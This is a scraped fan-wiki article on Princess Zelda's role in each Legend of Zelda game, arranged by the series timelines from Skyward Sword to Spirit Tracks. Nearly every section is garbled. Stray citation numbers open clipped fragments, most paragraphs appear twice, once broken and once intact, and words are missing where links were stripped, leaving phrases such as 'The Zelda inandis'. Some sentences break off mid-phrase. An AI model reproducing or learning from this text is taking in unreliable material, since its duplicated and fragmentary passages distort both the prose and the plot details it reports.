[47] Zelda's soul is absorbed and Demise is revived in his true form,[48] but Link manages to defeat the Demon King and seal his remains in the [49] and Link smiles at her, with the camera panning to show both his and Zelda's Loftwings flying back into the sky, implying that Link chose to stay with Zelda. Although Link uses the Triforce to wish for Demise's destruction, Ghirahim kidnaps Zelda upon her awakening and takes her through the Gate of Time, where Demise is still sealed.Zelda's soul is absorbed and Demise is revived in his true form,but Link manages to defeat the Demon King and seal his remains in the Master Sword. After her soul is restored, Zelda as well as the young hero return to their own time, where she mentions to Link that she wants to remain in the surface and watch over the Triforce. Zelda asks what Link's intentions are for the future,and Link smiles at her, with the camera panning to show both his and Zelda's Loftwings flying back into the sky, implying that Link chose to stay with Zelda.
This incarnation of Zelda is unique in that she is not a princess during the course of the game's events.
Fi's Comment Zelda This is Zelda, your childhood friend. Master, she is also the living embodiment of goddess Hylia. Though she had previously committed herself to an ages-long sleep in order to maintain the seal over Demise, she has now awakened.
The Minish Cap
Princess Zelda in The Minish Cap
The Zelda in The Minish Cap is the eighth Zelda appearing in the The Legend of Zelda series, and the second Zelda chronologically.
Four Swords
Four Swords is the fifth Zelda appearing in the The Legend of Zelda series, and the third Zelda chronologically. The Zelda inis the fifth Zelda appearing in theseries, and the third Zelda chronologically.
Four Swords.[55] Princess Zelda is assigned the duty of protecting the [56] The seal on Vaati at the shrine had weakened, allowing Vaati to escape. Vaati kidnapped Princess Zelda to make her his bride and Link drew the Four Sword to save her. Zelda and Link appear as childhood friends inPrincess Zelda is assigned the duty of protecting the Four Sword Sanctuary and the Four Sword. One day, she sensed something unusual at the Four Sword Shrine and took Link to accompany her to investigate.The seal on Vaati at the shrine had weakened, allowing Vaati to escape. Vaati kidnapped Princess Zelda to make her his bride and Link drew the Four Sword to save her.
Ocarina of Time
Young Zelda as she appears in Ocarina of Time
Ocarina of Time and Majora's Mask is the fourth Zelda appearing in the The Legend of Zelda series, and the fourth Zelda chronologically. The Zelda inandis the fourth Zelda appearing in theseries, and the fourth Zelda chronologically.
[3] was growing concerned with one of her father's associates, the [57] Expressing her concerns with her guardian and nursemaid Impa, she continued to watch the Gerudo despite her inability to do anything about him. That is until a young [58] Growing up in the halls of Hyrule Castle, young Princess Zelda, referred to by the Great Deku Tree as the Princess of Destiny,was growing concerned with one of her father's associates, the Gerudo king Ganondorf, and a vision of his treachery did not help matters.Expressing her concerns with her guardian and nursemaid Impa, she continued to watch the Gerudo despite her inability to do anything about him. That is until a young Kokiri boy named Link snuck into her garden courtyard.
[59][60] Unfortunately, Ganondorf made his move before Link could return, leading an insurrection in the castle. He chased after Zelda, who had the [61][62] Convinced that Ganondorf was after the Triforce, Zelda asked Link to find the three Spiritual Stones that would open the Temple of Time in order to prevent Ganondorf from opening the Door of Time and claiming the Triforce to himself.Unfortunately, Ganondorf made his move before Link could return, leading an insurrection in the castle. He chased after Zelda, who had the Ocarina of Time in her possession, when Impa escaped with her from the castle. Dashing out of the castle town with Ganondorf in hot pursuit, Zelda caught sight of Link diving out of their way. She turned and threw the Ocarina of Time to him, trusting that he would keep it safe while Ganondorf chased after them.
[63] all the while keeping her real identity secret.[64][65][66] For seven years Zelda remained in hiding, training in the ways of the Sheikah by Impa until Link, who had become trapped within the Sacred Realm, was freed. Appearing before him under the name of Sheik, she assisted Link in awakening the remaining five sages all the while keeping her real identity secret.
[1] however, having being watching them from afar, Ganondorf captures Zelda deliberately to drive Link into a fight to the death inside his castle.[67] When Zelda finally does reveal herself, she does so not only as the Princess Zelda but as the seventh sage, the leader of the other Sages, and possessor of the Triforce of Wisdom;however, having being watching them from afar, Ganondorf captures Zelda deliberately to drive Link into a fight to the death inside his castle.
[68] This would leave only the Hero of Time's legend behind him as he returned to the past and returned to Hyrule Castle to warn the young Princess Zelda of events to come. In the game's conclusion, Zelda sends Link, the Hero of Time, back to his childhood to regain his lost seven years in compensation for his role in the war against Ganondorf.This would leave only the Hero of Time's legend behind him as he returned to the past and returned to Hyrule Castle to warn the young Princess Zelda of events to come.
[60] eventually leading to Link's death and thus forming the [69] Should Link succeed in defeating Ganondorf, sending Link back to his own time afterwards created two timelines: the [70] resulting in Hyrule eventually The actions made by this Princess Zelda became important in the development of the Zelda Timeline, since it was through Zelda's choices that three timelines were eventually created, making her instrumental in the history of Hyrule. Her plot with Link to retrieve the Triforce resulted in Ganondorf obtaining the Triforce of Power,eventually leading to Link's death and thus forming the Fallen Hero Timeline Should Link succeed in defeating Ganondorf, sending Link back to his own time afterwards created two timelines: the Child Timeline and the Adult Timeline. The latter of the two shatters the Triforce of Courage and vanishes the hero in the Adult Timeline,resulting in Hyrule eventually being flooded
Fallen Hero Timeline
The Fallen Hero Timeline is the timeline in which Link, the Hero of Time, despite his best efforts, was defeated by Ganondorf in the final battle. This turn of events created the timeline containing A Link to the Past, the Oracle series, Link's Awakening, A Link Between Worlds, Tri Force Heroes, The Legend of Zelda, and The Adventure of Link.
A Link to the Past
A Link to the Past, Oracle of Seasons and Oracle of Ages is the third Zelda appearing in the The Legend of Zelda series, and the first Zelda chronologically in the Fallen Hero Timeline. The Zelda inandis the third Zelda appearing in theseries, and the first Zelda chronologically in the Fallen Hero Timeline.
[25] Despite his efforts in evacuating her from [73][74] While in the Dark World, Princess Zelda is held inside a crystal prison within [75] When Link frees her, she, along with the other maidens, breaks the seal surrounding Ganon's lair.[76] As the last free descendant, Zelda uses telepathy to contact the descendant of the Knights of Hyrule, Link, to save her.Despite his efforts in evacuating her from Hyrule Castle, Agahnim manages to capture Zelda and sacrifice her to the Dark World, breaking the seal between Hyrule and the Dark World.While in the Dark World, Princess Zelda is held inside a crystal prison within Turtle Rock When Link frees her, she, along with the other maidens, breaks the seal surrounding Ganon's lair.
[77] When Link makes a wish with the power of the now-freed Triforce, Princess Zelda returns with the maidens to Hyrule Castle to rule in peace.
Oracle of Seasons and Oracle of Ages
Link's Awakening
Link's Awakening, when Link mistakes [81] She has no involvement in the plot. Zelda is only mentioned at the beginning of, when Link mistakes Marin for the Hyrulean princess due to their resemblance to one another.She has no involvement in the plot.
Ancient Stone Tablets
Six years after the events of A Link to the Past, Hyrule is enjoying a time of peace and tranquility, but Princess Zelda suffers from a dark, recurring dream showing a shadow over a temple; a premonition of evil to come. One day, she witnesses a mysterious and brilliant light in the sky to the east. Aginah, the younger brother of the wise man Sahasrahla and now living in his old hideout near the Eastern Palace also witnesses such a light, and travels to investigate. There he finds a strange youth lying on the ground. Zelda, also following the light, meets up with Aginah, and they both carry the child to rest in Sahasrahla's hideout. Confused by the youth's unusual clothes, they believe the child not to hail from Kakariko Village. Speaking to Aginah while the youngster sleeps, Zelda learns that his brother Sahasrahla had also sensed danger surrounding Hyrule and had left the land to find the hero, Link. While Link has not yet returned, Zelda senses that if this new youth was endowed with courage, he or she may be the Hero of Light. Zelda then sets of for Hyrule Castle before sending Aginah to find the Book of Mudora while she speaks to the Fortune Teller. Aginah and the hero travel to the Sanctuary at the foot of the mountain, but Zelda follows, claiming she had another prophetic dream, this time of her holding the Book of Mudora on top of Death Mountain. Zelda insists on traveling with the hero to the summit of the mountain, as she is the only one who can read the Book of Mudora. During their quest to obtain the final two tablets and reach the summit, the Fortune Teller sees the King of Evil in a vision. Ganon's malice had kept his spirit alive despite the destruction of his body. It was this lingering evil power that had drawn the Hero of Light into the land of Hyrule, and upon the summit the hero travels once more into another world to engage in a desperate final battle with the Demon King in a new version of Ganon's Tower. Ganon desires the power of the Hero of Light to be fully reborn, but is finally destroyed using the Silver Arrows once more.
A Link Between Worlds
This article or section is out of date following the release of A Link Between Worlds. It needs to be updated to be accurate with information available at the present time.
This section of the page is incomplete. You can help Zelda Wiki by expanding it
A Link Between Worlds Zelda in
A Link Between Worlds is the twelfth Zelda in the The Legend of Zelda series, and the second Zelda chronologically in the Fallen Hero Timeline. The Zelda inis the twelfth Zelda in theseries, and the second Zelda chronologically in the Fallen Hero Timeline.
A Link Between Worlds. At her young age, she rules the entire kingdom of Hyrule alone. When Link first meets her, he warns her that Zelda appears again in. At her young age, she rules the entire kingdom of Hyrule alone. When Link first meets her, he warns her that Seres was attacked and turned into a Painting by Yuga. She tells the young hero to warn Sahasrahla in Kakariko Village and gives Link a charm that she has owned since childhood. When Hyrule Castle is under Yuga's attack, Link learns that the charm she gave is the Pendant of Courage, which she gave to him in anticipation of the oncoming misfortune.
[82] to which Yuga says he has been searching for all seven Sages of Hyrule.[83] Zelda then accuses him of attempting to use the Seven Sages to revive Ganon,[84] but Yuga ignores her and turns her into a Painting for her beauty.[85] He then takes her Painting to the highest point of Hyrule Castle and escapes to When Link goes Inside Hyrule Castle, he encounters a confrontation between Zelda and Yuga. Zelda tells Yuga that his actions must cease and asks him how many more people he intends to kidnap,to which Yuga says he has been searching for all seven Sages of Hyrule.Zelda then accuses him of attempting to use the Seven Sages to revive Ganon,but Yuga ignores her and turns her into a Painting for her beauty.He then takes her Painting to the highest point of Hyrule Castle and escapes to Lorule. In Lorule, he uses the power of the Seven Sages and Princess Zelda to revive Ganon and merges with Ganon before all the Paintings, save Zelda's, are scattered across Lorule. After Link frees the sages and assembles the Triforce, he and Zelda use it to restore the Lorulean Triforce
The Legend of Zelda
The Zelda in The Legend of Zelda is the first Zelda appearing in the The Legend of Zelda series, and the fourth Zelda chronologically in the Fallen Hero Timeline.
[86] Stealing the Triforce of Power, Ganon sought to find the last known piece, the Triforce of Wisdom. An army of evil, led by Ganon, seeks to possess the Triforce to plunge the land of Hyrule into darkness.Stealing the Triforce of Power, Ganon sought to find the last known piece, the Triforce of Wisdom.
[14] At the same time, she sent out her handmaiden, [87] Ganon learned of what Zelda had done and imprisoned her within his lair under [88] Princess Zelda, as a member of the bloodline that carries and protects the Triforce of Wisdom, broke the Triforce piece into eight fragments and hid them throughout the realm in an effort to avoid its possession under Ganon's hand.At the same time, she sent out her handmaiden, Impa, to look for a hero to save the land.Ganon learned of what Zelda had done and imprisoned her within his lair under Death Mountain, surrounded by a wall of flame.
[89] Link eventually finds the eight fragments of the Triforce of Wisdom scattered throughout Hyrule and travel to Death Mountain where, upon defeating Ganon, he frees Zelda from her prison, returning peace to the land.
The Adventure of Link
The Zelda in The Adventure of Link is the second Zelda appearing in the The Legend of Zelda series, and the third Zelda chronologically in the Fallen Hero Timeline.
The Adventure of Link speaks of the legend of Zelda, a legend that has been passed down in Hyrule.[90] According to that legend, well before the events of The Legend of Zelda, Hyrule was a prosperous land ruled by a [91] The prince frantically searched in vain everywhere for the remaining piece, but then a [92] The prince demands that Zelda turn the information over to him, but Zelda refuses and, in a rage, the wizard puts Zelda into an eternal sleep, with him dying in the process.[93] Overcome with grief, the prince seals his sleeping sister in the [34] The introduction ofspeaks of the legend of Zelda, a legend that has been passed down in Hyrule.According to that legend, well before the events of, Hyrule was a prosperous land ruled by a king who had two children, an unnamed prince and Princess Zelda. The King maintained peace in Hyrule using the Triforce; however, he passed away, and although the prince should have received the Triforce in full, he only received a part of it.The prince frantically searched in vain everywhere for the remaining piece, but then a wizard came to the Prince and tells him that his younger sister, Zelda, knows the location of the mystical object.The prince demands that Zelda turn the information over to him, but Zelda refuses and, in a rage, the wizard puts Zelda into an eternal sleep, with him dying in the process.Overcome with grief, the prince seals his sleeping sister in the North Palace and orders that all female descendants of the Hylian monarchy are to be named Zelda.
[94][95] Only one who proved themselves worthy would obtain it. To break the curse, a hero must possess the complete Triforce, but obtaining the Triforce of Courage would prove difficult as the king of ages ago had hidden it within the Great Palace Only one who proved themselves worthy would obtain it.
In the end, Link obtains the Triforce of Courage from the Great Palace and awakes the sleeping princess from her slumber.
(This Zelda is a different one from the original The Legend of Zelda even though both games feature the same Link)
Zelda (Game & Watch)
Princess Zelda was kidnapped by the Eight Dragons in order to cause chaos in Hyrule, she is imprisoned in a magical cage that can only be opened with the pieces of the Triforce of Wisdom. Link journeys through the dungeon, defeats the dragons and saves Zelda.
Child Timeline
The Child Timeline is the timeline that follows Link after being sent back to his original time to warn Princess Zelda, following the defeat of Ganondorf by the Hero of Time in the final battle. This turn of events created the timeline containing Majora's Mask, Twilight Princess, and Four Swords Adventures.
Majora's Mask
Memories of Princess Zelda
Majora's Mask, Zelda spends a relatively short period of time with Link, before he leaves [96][97] Zelda, as a child, makes a single appearance in Majora's Mask when Link has a flashback after retrieving the Ocarina of Time from the [98] However, before Link departs the land of [99][100] She also teaches Link the "[101] before handing over the ocarina, mentioning that he should play that melody if something were to happen to him so the [102][103] Prior the events of, Zelda spends a relatively short period of time with Link, before he leaves Hyrule for his quest in search of his companion Navi Zelda, as a child, makes a single appearance inwhen Link has a flashback after retrieving the Ocarina of Time from the Skull Kid. The events of the flashback display Link's last meeting with Zelda, where she states her belief that they would meet again.However, before Link departs the land of Hyrule, Princess Zelda gives him the Ocarina of Time to prevent Ganondorf from entering the Sacred Realm and as a memento of the time they spent together.She also teaches Link the " Song of Time ", a melody that holds a special meaning to her,before handing over the ocarina, mentioning that he should play that melody if something were to happen to him so the Goddess of Time will come to his aid.
(This Zelda is the same one from Ocarina of Time)
Twilight Princess
See also: Puppet Zelda
The Zelda in Twilight Princess is the ninth Zelda appearing in the The Legend of Zelda series, and the second Zelda chronologically in the Child Timeline branch.
Princess Zelda dressed in her dark attire
Twilight Princess, Zelda was the young matriarch of Hyrule until its [21] Afterward, she is imprisoned inside a tower in Hyrule Castle. It is revealed that Zelda is unaffected by the veil of [16] In, Zelda was the young matriarch of Hyrule until its invasion by Zant, the Twilight King, to whom she surrendered in order to prevent the deaths of herself and her people.Afterward, she is imprisoned inside a tower in Hyrule Castle. It is revealed that Zelda is unaffected by the veil of Twilight Zant casts upon Hyrule and does not become a spirit like all the other inhabitants of the kingdom. As the bearer of the Triforce of Wisdom, Zelda may have been protected by its power.
[20][104] Zelda, dressed in a dark robe, meets Link during his earliest transformation into a wolf (due to the interaction between the Twilight and his Triforce piece). Later, she transfers her soul and her powers to aid the dying Midna, losing her physical being in the process.
Towards the end of the game, Ganondorf possesses the lifeless Zelda, who was being imprisoned in the throne room of Hyrule Castle, transforming her into an enemy known as Puppet Zelda. Link defeats Ganondorf's puppet, and Midna, with the help of the Fused Shadows, returns Princess Zelda to normal.
[31][32] The last time she is seen in the game is when she and Link say good-bye to Midna at the Ganondorf makes another attempt on Zelda's life soon after, but she is protected by the Light Spirits of Hyrule who grant her the Light Arrows to assist Link in the horseback part of his final battle.The last time she is seen in the game is when she and Link say good-bye to Midna at the Mirror of Twilight
Four Swords Adventures
Four Swords Adventures is the seventh Zelda appearing in the The Legend of Zelda series, and the third Zelda chronologically in the Child Timeline branch. The Zelda inis the seventh Zelda appearing in theseries, and the third Zelda chronologically in the Child Timeline branch.
Four Swords Adventures, Zelda used her telepathy to call Link to Hyrule Castle so she and him can join the In, Zelda used her telepathy to call Link to Hyrule Castle so she and him can join the Shrine Maidens to investigate the seal on Vaati at the Four Sword Sanctuary, due to ominous clouds of darkness covering Hyrule. However, while using their magic to check the seal, Shadow Link appeared and kidnapped Zelda and the six Maidens and sent Link to the Four Sword Sanctuary. This was all a trap by Shadow Link to cause Link to draw the Four Sword, releasing the seal on the Wind Mage Vaati, allowing him to escape.
Ocarina of Time. Zelda must be protected from damage during this escape. When nearing the exit however, the four Links and Zelda are sent tumbling deep beneath the tower by Ganon. While the four Link's are out cold, Zelda attempts to seal away Ganon with her magic, but is instead stopped and sealed away by Ganon himself. The four Links fight Ganon together, and eventually weaken him enough to break the seal on Zelda. Zelda then fights Ganon alongside the Links much like in The Wind Waker. While she does not wield the Light Arrows by name, she does wield a ball of light energy which, coupled with Link's arrows, serves the same function of the Light Arrows, stunning Ganon long enough for him to be drawn into the Once rescued from Vaati, Link and Zelda flee down the Tower of Winds, similar to the escape from Ganon's Tower in. Zelda must be protected from damage during this escape. When nearing the exit however, the four Links and Zelda are sent tumbling deep beneath the tower by Ganon. While the four Link's are out cold, Zelda attempts to seal away Ganon with her magic, but is instead stopped and sealed away by Ganon himself. The four Links fight Ganon together, and eventually weaken him enough to break the seal on Zelda. Zelda then fights Ganon alongside the Links much like in. While she does not wield the Light Arrows by name, she does wield a ball of light energy which, coupled with Link's arrows, serves the same function of the Light Arrows, stunning Ganon long enough for him to be drawn into the Four Sword. She must be protected from Ganon's attacks so the ball of light energy can become big enough to contain Ganon's evil might.
Adult Timeline
The Wind Waker, Phantom Hourglass, and Spirit Tracks. The Adult Timeline is the timeline that follows the events after Link is being sent back to his original time, following the Hero of Time's defeat of Ganondorf in the final battle. Ganondorf is sealed within the Sacred Realm by the Seven Sages but, with Link sent back in time, the world is left without a Hero. This turn of events created the timeline containing, and
The Wind Waker
Main article: Tetra
Zelda, as seen in The Wind Waker
The Wind Waker and Phantom Hourglass is the sixth Zelda appearing in the The Legend of Zelda series, and the first Zelda chronologically in the Adult Timeline branch. The Zelda inandis the sixth Zelda appearing in theseries, and the first Zelda chronologically in the Adult Timeline branch.
The Wind Waker presents Zelda in a secret identity as [105] Tetra, however, is even unaware herself of being part of the royal bloodline, and this is a first occurrence for the Zelda series.[106] Despite this, the female pirate is aware of the existence of Hyrule, the Master Sword, and the legend of the Hero of Time. Tetra's identity as a descendant of Princess Zelda is revealed when she travels with Link to Hyrule Castle, beneath the [15] presents Zelda in a secret identity as Tetra, a female pirate who leads a small group of thieves after the death of her mother.Tetra, however, is even unaware herself of being part of the royal bloodline, and this is a first occurrence for theseries.Despite this, the female pirate is aware of the existence of Hyrule, the Master Sword, and the legend of the Hero of Time. Tetra's identity as a descendant of Princess Zelda is revealed when she travels with Link to Hyrule Castle, beneath the Great Sea
[107] Her true identity was first hinted when Link travels to the Forsaken Fortress for a second time and encounters Ganondorf, who, as he grasps Tetra in his hand, realizes that his Triforce of Power is resonating, which could only indicate that Tetra is indeed the Princess Zelda.
[108] Once Tetra discovers her true identity, she gains more respect towards the young hero, and apologizes for all that has happened to him and [109] While Link and the [110] However, she is eventually found and is taken to Ganon's Tower, where Link must rescue her after assembling the Triforce of Courage.[111] Zelda as Tetra displayed a tomboyish demeanor, taking challenges head on and even seeming bossy at times. At the beginning of the game, she does not think much of Link due to his habit of taking actions without thinking things through, and also due to the fact that he gets melancholic as they are setting sail to the Forsaken Fortress to rescue his sister.Once Tetra discovers her true identity, she gains more respect towards the young hero, and apologizes for all that has happened to him and Aryll While Link and the King of Red Lions set out to look for the pieces of the Triforce of Courage, Zelda stays hidden away in a basement located inside Hyrule Castle in order to prevent getting caught by Ganondorf.However, she is eventually found and is taken to Ganon's Tower, where Link must rescue her after assembling the Triforce of Courage.
The Wind Waker is the first Zelda in the series that fights along Link's side in his battle against Ganondorf. In battle, she wields the Twilight Princess counterpart.[24] Once Link and Zelda succeed in delivering the final blow, they witness the second flood of Hyrule and promise the [112] Zelda is last seen as Tetra when she and Link set sail from [113]
Zelda fromis the first Zelda in the series that fights along Link's side in his battle against Ganondorf. In battle, she wields the bow and Light Arrows, similar to hercounterpart.Once Link and Zelda succeed in delivering the final blow, they witness the second flood of Hyrule and promise the King of Hyrule to search for the new land that will be home to the next kingdom of Hyrule.Zelda is last seen as Tetra when she and Link set sail from Outset Island in search for new lands.
Phantom Hourglass
The Wind Waker. She does not regain her royal persona, although quite often when she appears, “[114] much to Tetra's chagrin.[115] Her role is somewhat limited in the game as she is kidnapped early on in the story, and when Link finds her at last she has been turned to stone.[116] Princess Zelda appears in this game solely as Tetra, her alter ego in. She does not regain her royal persona, although quite often when she appears, “ Zelda's Lullaby ” plays in the background, and she is called "Zelda" by some of the pirates during the game's intro,much to Tetra's chagrin.Her role is somewhat limited in the game as she is kidnapped early on in the story, and when Link finds her at last she has been turned to stone.
[117] Tetra's crew tries to convince her that it was just a dream, but Link finds the After Link defeats Bellum, he and Tetra awaken on the Ghost Ship, only ten minutes after the prologue according to the pirates.Tetra's crew tries to convince her that it was just a dream, but Link finds the Phantom Hourglass in his pocket, and the S.S. Linebeck is seen sailing in the distance.
(This Zelda is the same one from The Wind Waker)
Spirit Tracks
Zelda as a ghost in Spirit Tracks
Spirit Tracks is the tenth Zelda appearing in the The Legend of Zelda series, and the second Zelda chronologically in the Adult Timeline branch. The Zelda inis the tenth Zelda appearing in theseries, and the second Zelda chronologically in the Adult Timeline branch.
Spirit Tracks than in previous installments, as she herself also aids Link in the salvation of Hyrule. Princess Zelda plays a much larger role inthan in previous installments, as she herself also aids Link in the salvation of Hyrule.
For the first time (not counting the non-canonical Phillips CD-i games), it is possible to play as Zelda herself as Link and the princess escape the castle, albeit for a short time. Afterward, Link, Zelda, and Alfonzo attempt to escape via train, but the train crashes due to the disappearing tracks Chancellor Cole then appears, attacks Zelda and takes her body, which he hopes to use to revive the Demon King Malladus ; however, Zelda's spirit escapes and returns to Hyrule Castle. There, she meets with Link, who seems to be the only one that can see her. The two go to the Tower of Spirits. Here, a Phantom Knight attacks Link, but Zelda charges at the Phantom, taking control of its body. After this, she and Link begin their journey to restore the Tower of Spirits and the Spirit Tracks, traveling with Link across the overworld. Whenever Link returns to the Tower of Spirits to obtain another Rail Map, Zelda possesses a Phantom's armor, allowing Link to proceed through the tower in ways he could not by himself.
[118] In the final battle, Zelda, finally back in her own body, channels her power to weaken the Demon King, which reveals a weak spot on the demon's back.[119] Like in previous games, Princess Zelda's role consists of shooting Light Arrows at Malladus's back from the [120] Link and Zelda are then seen holding hands as they witness the departure of the Lokomos. Towards the end of the game, after Zelda's body has been possessed by Malladus, Link must fire a Light Arrow using the Bow of Light in order to free Zelda's body from Malladus. Once her body is freed, Zelda is unable to reenter her body, and just as Malladus is about to possess it again, Byrne uses his power to repel the Demon King, giving Zelda the strength to pray to Tetra to reclaim her body.In the final battle, Zelda, finally back in her own body, channels her power to weaken the Demon King, which reveals a weak spot on the demon's back.Like in previous games, Princess Zelda's role consists of shooting Light Arrows at Malladus's back from the Bow of Light Link and
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